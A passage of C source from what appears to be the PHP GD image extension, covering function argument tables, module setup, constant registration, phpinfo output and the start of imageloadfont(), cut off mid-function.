ZEND_ARG_INFO(0, tightness) ZEND_ARG_INFO(0, angle) ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO_EX(arginfo_image2wbmp, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_ARG_INFO(0, threshold) ZEND_END_ARG_INFO() #if defined(HAVE_GD_JPG) ZEND_BEGIN_ARG_INFO(arginfo_jpeg2wbmp, 0) ZEND_ARG_INFO(0, f_org) ZEND_ARG_INFO(0, f_dest) ZEND_ARG_INFO(0, d_height) ZEND_ARG_INFO(0, d_width) ZEND_ARG_INFO(0, d_threshold) ZEND_END_ARG_INFO() #endif #if defined(HAVE_GD_PNG) ZEND_BEGIN_ARG_INFO(arginfo_png2wbmp, 0) ZEND_ARG_INFO(0, f_org) ZEND_ARG_INFO(0, f_dest) ZEND_ARG_INFO(0, d_height) ZEND_ARG_INFO(0, d_width) ZEND_ARG_INFO(0, d_threshold) ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO_EX(arginfo_imagefilter, 0, 0, 2) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filtertype) ZEND_ARG_INFO(0, arg1) ZEND_ARG_INFO(0, arg2) ZEND_ARG_INFO(0, arg3) ZEND_ARG_INFO(0, arg4) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imageconvolution, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, matrix3x3) /* ARRAY_INFO(0, matrix3x3, 0) */ ZEND_ARG_INFO(0, div) ZEND_ARG_INFO(0, offset) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imageflip, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, mode) ZEND_END_ARG_INFO() #ifdef HAVE_GD_BUNDLED ZEND_BEGIN_ARG_INFO(arginfo_imageantialias, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, on) ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO(arginfo_imagecrop, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, rect) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagecropauto, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, mode) ZEND_ARG_INFO(0, threshold) ZEND_ARG_INFO(0, color) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagescale, 0, 0, 2) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, new_width) ZEND_ARG_INFO(0, new_height) ZEND_ARG_INFO(0, mode) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imageaffine, 0, 0, 2) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, affine) ZEND_ARG_INFO(0, clip) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imageaffinematrixget, 0, 0, 1) ZEND_ARG_INFO(0, type) ZEND_ARG_INFO(0, options) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imageaffinematrixconcat, 0) ZEND_ARG_INFO(0, m1) ZEND_ARG_INFO(0, m2) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesetinterpolation, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, method) ZEND_END_ARG_INFO() /* }}} */ /* {{{ gd_functions[] */ const zend_function_entry gd_functions[] = { PHP_FE(gd_info, arginfo_gd_info) PHP_FE(imagearc, arginfo_imagearc) PHP_FE(imageellipse, arginfo_imageellipse) PHP_FE(imagechar, arginfo_imagechar) PHP_FE(imagecharup, arginfo_imagecharup) PHP_FE(imagecolorat, arginfo_imagecolorat) PHP_FE(imagecolorallocate, arginfo_imagecolorallocate) PHP_FE(imagepalettecopy, arginfo_imagepalettecopy) PHP_FE(imagecreatefromstring, arginfo_imagecreatefromstring) PHP_FE(imagecolorclosest, arginfo_imagecolorclosest) PHP_FE(imagecolorclosesthwb, arginfo_imagecolorclosesthwb) PHP_FE(imagecolordeallocate, arginfo_imagecolordeallocate) PHP_FE(imagecolorresolve, arginfo_imagecolorresolve) PHP_FE(imagecolorexact, arginfo_imagecolorexact) PHP_FE(imagecolorset, arginfo_imagecolorset) PHP_FE(imagecolortransparent, arginfo_imagecolortransparent) PHP_FE(imagecolorstotal, arginfo_imagecolorstotal) PHP_FE(imagecolorsforindex, arginfo_imagecolorsforindex) PHP_FE(imagecopy, arginfo_imagecopy) PHP_FE(imagecopymerge, arginfo_imagecopymerge) PHP_FE(imagecopymergegray, arginfo_imagecopymergegray) PHP_FE(imagecopyresized, arginfo_imagecopyresized) PHP_FE(imagecreate, arginfo_imagecreate) PHP_FE(imagecreatetruecolor, arginfo_imagecreatetruecolor) PHP_FE(imageistruecolor, arginfo_imageistruecolor) PHP_FE(imagetruecolortopalette, arginfo_imagetruecolortopalette) PHP_FE(imagepalettetotruecolor, arginfo_imagepalettetotruecolor) PHP_FE(imagesetthickness, arginfo_imagesetthickness) PHP_FE(imagefilledarc, arginfo_imagefilledarc) PHP_FE(imagefilledellipse, arginfo_imagefilledellipse) PHP_FE(imagealphablending, arginfo_imagealphablending) PHP_FE(imagesavealpha, arginfo_imagesavealpha) PHP_FE(imagecolorallocatealpha, arginfo_imagecolorallocatealpha) PHP_FE(imagecolorresolvealpha, arginfo_imagecolorresolvealpha) PHP_FE(imagecolorclosestalpha, arginfo_imagecolorclosestalpha) PHP_FE(imagecolorexactalpha, arginfo_imagecolorexactalpha) PHP_FE(imagecopyresampled, arginfo_imagecopyresampled) #ifdef PHP_WIN32 PHP_FE(imagegrabwindow, arginfo_imagegrabwindow) PHP_FE(imagegrabscreen, arginfo_imagegrabscreen) #endif PHP_FE(imagerotate, arginfo_imagerotate) PHP_FE(imageflip, arginfo_imageflip) #ifdef HAVE_GD_BUNDLED PHP_FE(imageantialias, arginfo_imageantialias) #endif PHP_FE(imagecrop, arginfo_imagecrop) PHP_FE(imagecropauto, arginfo_imagecropauto) PHP_FE(imagescale, arginfo_imagescale) PHP_FE(imageaffine, arginfo_imageaffine) PHP_FE(imageaffinematrixconcat, arginfo_imageaffinematrixconcat) PHP_FE(imageaffinematrixget, arginfo_imageaffinematrixget) PHP_FE(imagesetinterpolation, arginfo_imagesetinterpolation) PHP_FE(imagesettile, arginfo_imagesettile) PHP_FE(imagesetbrush, arginfo_imagesetbrush) PHP_FE(imagesetstyle, arginfo_imagesetstyle) #ifdef HAVE_GD_PNG PHP_FE(imagecreatefrompng, arginfo_imagecreatefrompng) #endif #ifdef HAVE_GD_WEBP PHP_FE(imagecreatefromwebp, arginfo_imagecreatefromwebp) #endif PHP_FE(imagecreatefromgif, arginfo_imagecreatefromgif) #ifdef HAVE_GD_JPG PHP_FE(imagecreatefromjpeg, arginfo_imagecreatefromjpeg) #endif PHP_FE(imagecreatefromwbmp, arginfo_imagecreatefromwbmp) PHP_FE(imagecreatefromxbm, arginfo_imagecreatefromxbm) #if defined(HAVE_GD_XPM) PHP_FE(imagecreatefromxpm, arginfo_imagecreatefromxpm) #endif PHP_FE(imagecreatefromgd, arginfo_imagecreatefromgd) PHP_FE(imagecreatefromgd2, arginfo_imagecreatefromgd2) PHP_FE(imagecreatefromgd2part, arginfo_imagecreatefromgd2part) #ifdef HAVE_GD_PNG PHP_FE(imagepng, arginfo_imagepng) #endif #ifdef HAVE_GD_WEBP PHP_FE(imagewebp, arginfo_imagewebp) #endif PHP_FE(imagegif, arginfo_imagegif) #ifdef HAVE_GD_JPG PHP_FE(imagejpeg, arginfo_imagejpeg) #endif PHP_FE(imagewbmp, arginfo_imagewbmp) PHP_FE(imagegd, arginfo_imagegd) PHP_FE(imagegd2, arginfo_imagegd2) PHP_FE(imagedestroy, arginfo_imagedestroy) PHP_FE(imagegammacorrect, arginfo_imagegammacorrect) PHP_FE(imagefill, arginfo_imagefill) PHP_FE(imagefilledpolygon, arginfo_imagefilledpolygon) PHP_FE(imagefilledrectangle, arginfo_imagefilledrectangle) PHP_FE(imagefilltoborder, arginfo_imagefilltoborder) PHP_FE(imagefontwidth, arginfo_imagefontwidth) PHP_FE(imagefontheight, arginfo_imagefontheight) PHP_FE(imageinterlace, arginfo_imageinterlace) PHP_FE(imageline, arginfo_imageline) PHP_FE(imageloadfont, arginfo_imageloadfont) PHP_FE(imagepolygon, arginfo_imagepolygon) PHP_FE(imagerectangle, arginfo_imagerectangle) PHP_FE(imagesetpixel, arginfo_imagesetpixel) PHP_FE(imagestring, arginfo_imagestring) PHP_FE(imagestringup, arginfo_imagestringup) PHP_FE(imagesx, arginfo_imagesx) PHP_FE(imagesy, arginfo_imagesy) PHP_FE(imagedashedline, arginfo_imagedashedline) #ifdef ENABLE_GD_TTF PHP_FE(imagettfbbox, arginfo_imagettfbbox) PHP_FE(imagettftext, arginfo_imagettftext) #if HAVE_GD_FREETYPE && HAVE_LIBFREETYPE PHP_FE(imageftbbox, arginfo_imageftbbox) PHP_FE(imagefttext, arginfo_imagefttext) #endif #endif #ifdef HAVE_LIBT1 PHP_FE(imagepsloadfont, arginfo_imagepsloadfont) /* PHP_FE(imagepscopyfont, arginfo_imagepscopyfont) */ PHP_FE(imagepsfreefont, arginfo_imagepsfreefont) PHP_FE(imagepsencodefont, arginfo_imagepsencodefont) PHP_FE(imagepsextendfont, arginfo_imagepsextendfont) PHP_FE(imagepsslantfont, arginfo_imagepsslantfont) PHP_FE(imagepstext, arginfo_imagepstext) PHP_FE(imagepsbbox, arginfo_imagepsbbox) #endif PHP_FE(imagetypes, arginfo_imagetypes) #if defined(HAVE_GD_JPG) PHP_FE(jpeg2wbmp, arginfo_jpeg2wbmp) #endif #if defined(HAVE_GD_PNG) PHP_FE(png2wbmp, arginfo_png2wbmp) #endif PHP_FE(image2wbmp, arginfo_image2wbmp) PHP_FE(imagelayereffect, arginfo_imagelayereffect) PHP_FE(imagexbm, arginfo_imagexbm) PHP_FE(imagecolormatch, arginfo_imagecolormatch) /* gd filters */ PHP_FE(imagefilter, arginfo_imagefilter) PHP_FE(imageconvolution, arginfo_imageconvolution) PHP_FE_END }; /* }}} */ zend_module_entry gd_module_entry = { STANDARD_MODULE_HEADER, "gd", gd_functions, PHP_MINIT(gd), #if HAVE_LIBT1 PHP_MSHUTDOWN(gd), #else NULL, #endif NULL, #if HAVE_GD_FREETYPE && HAVE_LIBFREETYPE PHP_RSHUTDOWN(gd), #else NULL, #endif PHP_MINFO(gd), NO_VERSION_YET, STANDARD_MODULE_PROPERTIES }; #ifdef COMPILE_DL_GD ZEND_GET_MODULE(gd) #endif /* {{{ PHP_INI_BEGIN */ PHP_INI_BEGIN() PHP_INI_ENTRY("gd.jpeg_ignore_warning", "0", PHP_INI_ALL, NULL) PHP_INI_END() /* }}} */ /* {{{ php_free_gd_image */ static void php_free_gd_image(zend_rsrc_list_entry *rsrc TSRMLS_DC) { gdImageDestroy((gdImagePtr) rsrc->ptr); } /* }}} */ /* {{{ php_free_gd_font */ static void php_free_gd_font(zend_rsrc_list_entry *rsrc TSRMLS_DC) { gdFontPtr fp = (gdFontPtr) rsrc->ptr; if (fp->data) { efree(fp->data); } efree(fp); } /* }}} */ #ifndef HAVE_GD_BUNDLED /* {{{ php_gd_error_method */ void php_gd_error_method(int type, const char *format, va_list args) { TSRMLS_FETCH(); switch (type) { case GD_DEBUG: case GD_INFO: case GD_NOTICE: type = E_NOTICE; break; case GD_WARNING: type = E_WARNING; break; default: type = E_ERROR; } php_verror(NULL, "", type, format, args TSRMLS_CC); } /* }}} */ #endif /* {{{ PHP_MSHUTDOWN_FUNCTION */ #if HAVE_LIBT1 PHP_MSHUTDOWN_FUNCTION(gd) { T1_CloseLib(); #if HAVE_GD_BUNDLED && HAVE_LIBFREETYPE gdFontCacheMutexShutdown(); #endif UNREGISTER_INI_ENTRIES(); return SUCCESS; } #endif /* }}} */ /* {{{ PHP_MINIT_FUNCTION */ PHP_MINIT_FUNCTION(gd) { le_gd = zend_register_list_destructors_ex(php_free_gd_image, NULL, "gd", module_number); le_gd_font = zend_register_list_destructors_ex(php_free_gd_font, NULL, "gd font", module_number); #if HAVE_GD_BUNDLED && HAVE_LIBFREETYPE gdFontCacheMutexSetup(); #endif #if HAVE_LIBT1 T1_SetBitmapPad(8); T1_InitLib(NO_LOGFILE | IGNORE_CONFIGFILE | IGNORE_FONTDATABASE); T1_SetLogLevel(T1LOG_DEBUG); le_ps_font = zend_register_list_destructors_ex(php_free_ps_font, NULL, "gd PS font", module_number); le_ps_enc = zend_register_list_destructors_ex(php_free_ps_enc, NULL, "gd PS encoding", module_number); #endif #ifndef HAVE_GD_BUNDLED gdSetErrorMethod(php_gd_error_method); #endif REGISTER_INI_ENTRIES(); REGISTER_LONG_CONSTANT("IMG_GIF", 1, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_JPG", 2, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_JPEG", 2, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_PNG", 4, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_WBMP", 8, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_XPM", 16, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_WEBP", 32, CONST_CS | CONST_PERSISTENT); /* special colours for gd */ REGISTER_LONG_CONSTANT("IMG_COLOR_TILED", gdTiled, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_COLOR_STYLED", gdStyled, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_COLOR_BRUSHED", gdBrushed, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_COLOR_STYLEDBRUSHED", gdStyledBrushed, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_COLOR_TRANSPARENT", gdTransparent, CONST_CS | CONST_PERSISTENT); /* for imagefilledarc */ REGISTER_LONG_CONSTANT("IMG_ARC_ROUNDED", gdArc, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_ARC_PIE", gdPie, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_ARC_CHORD", gdChord, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_ARC_NOFILL", gdNoFill, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_ARC_EDGED", gdEdged, CONST_CS | CONST_PERSISTENT); /* GD2 image format types */ REGISTER_LONG_CONSTANT("IMG_GD2_RAW", GD2_FMT_RAW, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_GD2_COMPRESSED", GD2_FMT_COMPRESSED, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FLIP_HORIZONTAL", GD_FLIP_HORINZONTAL, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FLIP_VERTICAL", GD_FLIP_VERTICAL, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FLIP_BOTH", GD_FLIP_BOTH, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_EFFECT_REPLACE", gdEffectReplace, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_EFFECT_ALPHABLEND", gdEffectAlphaBlend, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_EFFECT_NORMAL", gdEffectNormal, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_EFFECT_OVERLAY", gdEffectOverlay, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_CROP_DEFAULT", GD_CROP_DEFAULT, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_CROP_TRANSPARENT", GD_CROP_TRANSPARENT, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_CROP_BLACK", GD_CROP_BLACK, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_CROP_WHITE", GD_CROP_WHITE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_CROP_SIDES", GD_CROP_SIDES, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_CROP_THRESHOLD", GD_CROP_THRESHOLD, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BELL", GD_BELL, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BESSEL", GD_BESSEL, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BILINEAR_FIXED", GD_BILINEAR_FIXED, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BICUBIC", GD_BICUBIC, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BICUBIC_FIXED", GD_BICUBIC_FIXED, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BLACKMAN", GD_BLACKMAN, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BOX", GD_BOX, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BSPLINE", GD_BSPLINE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_CATMULLROM", GD_CATMULLROM, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_GAUSSIAN", GD_GAUSSIAN, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_GENERALIZED_CUBIC", GD_GENERALIZED_CUBIC, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_HERMITE", GD_HERMITE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_HAMMING", GD_HAMMING, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_HANNING", GD_HANNING, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_MITCHELL", GD_MITCHELL, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_POWER", GD_POWER, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_QUADRATIC", GD_QUADRATIC, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_SINC", GD_SINC, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_NEAREST_NEIGHBOUR", GD_NEAREST_NEIGHBOUR, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_WEIGHTED4", GD_WEIGHTED4, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_TRIANGLE", GD_TRIANGLE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_AFFINE_TRANSLATE", GD_AFFINE_TRANSLATE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_AFFINE_SCALE", GD_AFFINE_SCALE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_AFFINE_ROTATE", GD_AFFINE_ROTATE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_AFFINE_SHEAR_HORIZONTAL", GD_AFFINE_SHEAR_HORIZONTAL, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_AFFINE_SHEAR_VERTICAL", GD_AFFINE_SHEAR_VERTICAL, CONST_CS | CONST_PERSISTENT); #if defined(HAVE_GD_BUNDLED) REGISTER_LONG_CONSTANT("GD_BUNDLED", 1, CONST_CS | CONST_PERSISTENT); #else REGISTER_LONG_CONSTANT("GD_BUNDLED", 0, CONST_CS | CONST_PERSISTENT); #endif /* Section Filters */ REGISTER_LONG_CONSTANT("IMG_FILTER_NEGATE", IMAGE_FILTER_NEGATE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_GRAYSCALE", IMAGE_FILTER_GRAYSCALE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_BRIGHTNESS", IMAGE_FILTER_BRIGHTNESS, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_CONTRAST", IMAGE_FILTER_CONTRAST, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_COLORIZE", IMAGE_FILTER_COLORIZE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_EDGEDETECT", IMAGE_FILTER_EDGEDETECT, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_GAUSSIAN_BLUR", IMAGE_FILTER_GAUSSIAN_BLUR, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_SELECTIVE_BLUR", IMAGE_FILTER_SELECTIVE_BLUR, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_EMBOSS", IMAGE_FILTER_EMBOSS, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_MEAN_REMOVAL", IMAGE_FILTER_MEAN_REMOVAL, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_SMOOTH", IMAGE_FILTER_SMOOTH, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_PIXELATE", IMAGE_FILTER_PIXELATE, CONST_CS | CONST_PERSISTENT); /* End Section Filters */ #ifdef GD_VERSION_STRING REGISTER_STRING_CONSTANT("GD_VERSION", GD_VERSION_STRING, CONST_CS | CONST_PERSISTENT); #endif #if defined(GD_MAJOR_VERSION) && defined(GD_MINOR_VERSION) && defined(GD_RELEASE_VERSION) && defined(GD_EXTRA_VERSION) REGISTER_LONG_CONSTANT("GD_MAJOR_VERSION", GD_MAJOR_VERSION, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("GD_MINOR_VERSION", GD_MINOR_VERSION, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("GD_RELEASE_VERSION", GD_RELEASE_VERSION, CONST_CS | CONST_PERSISTENT); REGISTER_STRING_CONSTANT("GD_EXTRA_VERSION", GD_EXTRA_VERSION, CONST_CS | CONST_PERSISTENT); #endif #ifdef HAVE_GD_PNG /* * cannot include #include "png.h" * /usr/include/pngconf.h:310:2: error: #error png.h already includes setjmp.h with some additional fixup. * as error, use the values for now... */ REGISTER_LONG_CONSTANT("PNG_NO_FILTER", 0x00, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("PNG_FILTER_NONE", 0x08, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("PNG_FILTER_SUB", 0x10, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("PNG_FILTER_UP", 0x20, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("PNG_FILTER_AVG", 0x40, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("PNG_FILTER_PAETH", 0x80, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("PNG_ALL_FILTERS", 0x08 | 0x10 | 0x20 | 0x40 | 0x80, CONST_CS | CONST_PERSISTENT); #endif return SUCCESS; } /* }}} */ /* {{{ PHP_RSHUTDOWN_FUNCTION */ #if HAVE_GD_FREETYPE && HAVE_LIBFREETYPE PHP_RSHUTDOWN_FUNCTION(gd) { gdFontCacheShutdown(); return SUCCESS; } #endif /* }}} */ #if defined(HAVE_GD_BUNDLED) #define PHP_GD_VERSION_STRING "bundled (2.1.0 compatible)" #else # define PHP_GD_VERSION_STRING GD_VERSION_STRING #endif /* {{{ PHP_MINFO_FUNCTION */ PHP_MINFO_FUNCTION(gd) { php_info_print_table_start(); php_info_print_table_row(2, "GD Support", "enabled"); /* need to use a PHPAPI function here because it is external module in windows */ #if defined(HAVE_GD_BUNDLED) php_info_print_table_row(2, "GD Version", PHP_GD_VERSION_STRING); #else php_info_print_table_row(2, "GD headers Version", PHP_GD_VERSION_STRING); #if defined(HAVE_GD_LIBVERSION) php_info_print_table_row(2, "GD library Version", gdVersionString()); #endif #endif #ifdef ENABLE_GD_TTF php_info_print_table_row(2, "FreeType Support", "enabled"); #if HAVE_LIBFREETYPE php_info_print_table_row(2, "FreeType Linkage", "with freetype"); { char tmp[256]; #ifdef FREETYPE_PATCH snprintf(tmp, sizeof(tmp), "%d.%d.%d", FREETYPE_MAJOR, FREETYPE_MINOR, FREETYPE_PATCH); #elif defined(FREETYPE_MAJOR) snprintf(tmp, sizeof(tmp), "%d.%d", FREETYPE_MAJOR, FREETYPE_MINOR); #else snprintf(tmp, sizeof(tmp), "1.x"); #endif php_info_print_table_row(2, "FreeType Version", tmp); } #else php_info_print_table_row(2, "FreeType Linkage", "with unknown library"); #endif #endif #ifdef HAVE_LIBT1 php_info_print_table_row(2, "T1Lib Support", "enabled"); #endif php_info_print_table_row(2, "GIF Read Support", "enabled"); php_info_print_table_row(2, "GIF Create Support", "enabled"); #ifdef HAVE_GD_JPG { php_info_print_table_row(2, "JPEG Support", "enabled"); php_info_print_table_row(2, "libJPEG Version", gdJpegGetVersionString()); } #endif #ifdef HAVE_GD_PNG php_info_print_table_row(2, "PNG Support", "enabled"); php_info_print_table_row(2, "libPNG Version", gdPngGetVersionString()); #endif php_info_print_table_row(2, "WBMP Support", "enabled"); #if defined(HAVE_GD_XPM) php_info_print_table_row(2, "XPM Support", "enabled"); { char tmp[12]; snprintf(tmp, sizeof(tmp), "%d", XpmLibraryVersion()); php_info_print_table_row(2, "libXpm Version", tmp); } #endif php_info_print_table_row(2, "XBM Support", "enabled"); #if defined(USE_GD_JISX0208) php_info_print_table_row(2, "JIS-mapped Japanese Font Support", "enabled"); #endif #ifdef HAVE_GD_WEBP php_info_print_table_row(2, "WebP Support", "enabled"); #endif php_info_print_table_end(); DISPLAY_INI_ENTRIES(); } /* }}} */ /* {{{ proto array gd_info() */ PHP_FUNCTION(gd_info) { if (zend_parse_parameters_none() == FAILURE) { RETURN_FALSE; } array_init(return_value); add_assoc_string(return_value, "GD Version", PHP_GD_VERSION_STRING, 1); #ifdef ENABLE_GD_TTF add_assoc_bool(return_value, "FreeType Support", 1); #if HAVE_LIBFREETYPE add_assoc_string(return_value, "FreeType Linkage", "with freetype", 1); #else add_assoc_string(return_value, "FreeType Linkage", "with unknown library", 1); #endif #else add_assoc_bool(return_value, "FreeType Support", 0); #endif #ifdef HAVE_LIBT1 add_assoc_bool(return_value, "T1Lib Support", 1); #else add_assoc_bool(return_value, "T1Lib Support", 0); #endif add_assoc_bool(return_value, "GIF Read Support", 1); add_assoc_bool(return_value, "GIF Create Support", 1); #ifdef HAVE_GD_JPG add_assoc_bool(return_value, "JPEG Support", 1); #else add_assoc_bool(return_value, "JPEG Support", 0); #endif #ifdef HAVE_GD_PNG add_assoc_bool(return_value, "PNG Support", 1); #else add_assoc_bool(return_value, "PNG Support", 0); #endif add_assoc_bool(return_value, "WBMP Support", 1); #if defined(HAVE_GD_XPM) add_assoc_bool(return_value, "XPM Support", 1); #else add_assoc_bool(return_value, "XPM Support", 0); #endif add_assoc_bool(return_value, "XBM Support", 1); #ifdef HAVE_GD_WEBP add_assoc_bool(return_value, "WebP Support", 1); #else add_assoc_bool(return_value, "WebP Support", 0); #endif #if defined(USE_GD_JISX0208) add_assoc_bool(return_value, "JIS-mapped Japanese Font Support", 1); #else add_assoc_bool(return_value, "JIS-mapped Japanese Font Support", 0); #endif } /* }}} */ /* Need this for cpdf. See also comment in file.c php3i_get_le_fp() */ PHP_GD_API int phpi_get_le_gd(void) { return le_gd; } /* }}} */ #define FLIPWORD(a) (((a & 0xff000000) >> 24) | ((a & 0x00ff0000) >> 8) | ((a & 0x0000ff00) << 8) | ((a & 0x000000ff) << 24)) /* {{{ proto int imageloadfont(string filename) Load a new font */ PHP_FUNCTION(imageloadfont) { char *file; int file_name, hdr_size = sizeof(gdFont) - sizeof(char *); int ind, body_size, n = 0, b, i, body_size_check; gdFontPtr font; php_stream *stream; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "p", &file, &file_name) == FAILURE) { return; } stream = php_stream_open_wrapper(file, "rb", IGNORE_PATH | IGNORE_URL_WIN | REPORT_ERRORS, NULL); if (stream == NULL) { RETURN_FALSE; } /* Only supports a architecture-dependent binary dump format * at the moment. * The file format is like this on machines with 32-byte integers: * * byte 0-3: (int) number of characters in the font * byte 4-7: (int) value of first character in the font (often 32, space) * byte 8-11: (int) pixel width of each character * byte 12-15: (int) pixel height of each character * bytes 16-: (char) array with character data, one byte per pixel * in each character, for a total of * (nchars*width*height) bytes. */ font = (gdFontPtr) emalloc(sizeof(gdFont)); b = 0; while (b < hdr_size && (n = php_stream_read(stream, (char*)&font[b], hdr_size - b))) { b += n; } if (!n) { efree(font); if (php_stream_eof(stream)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "End of file while reading header"); } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Error while reading header"); } php_stream_close(stream); RETURN_FALSE; } i = php_stream_tell(stream); php_stream_seek(stream, 0, SEEK_END); body_size_check = php_stream_tell(stream) - hdr_size; php_stream_seek(stream, i, SEEK_SET); body_size = font->w * font->h * font->nchars; if (body_size != body_size_check) { font->w = FLIPWORD(font->w); font->h = FLIPWORD(font->h); font->nchars = FLIPWORD(font->nchars); 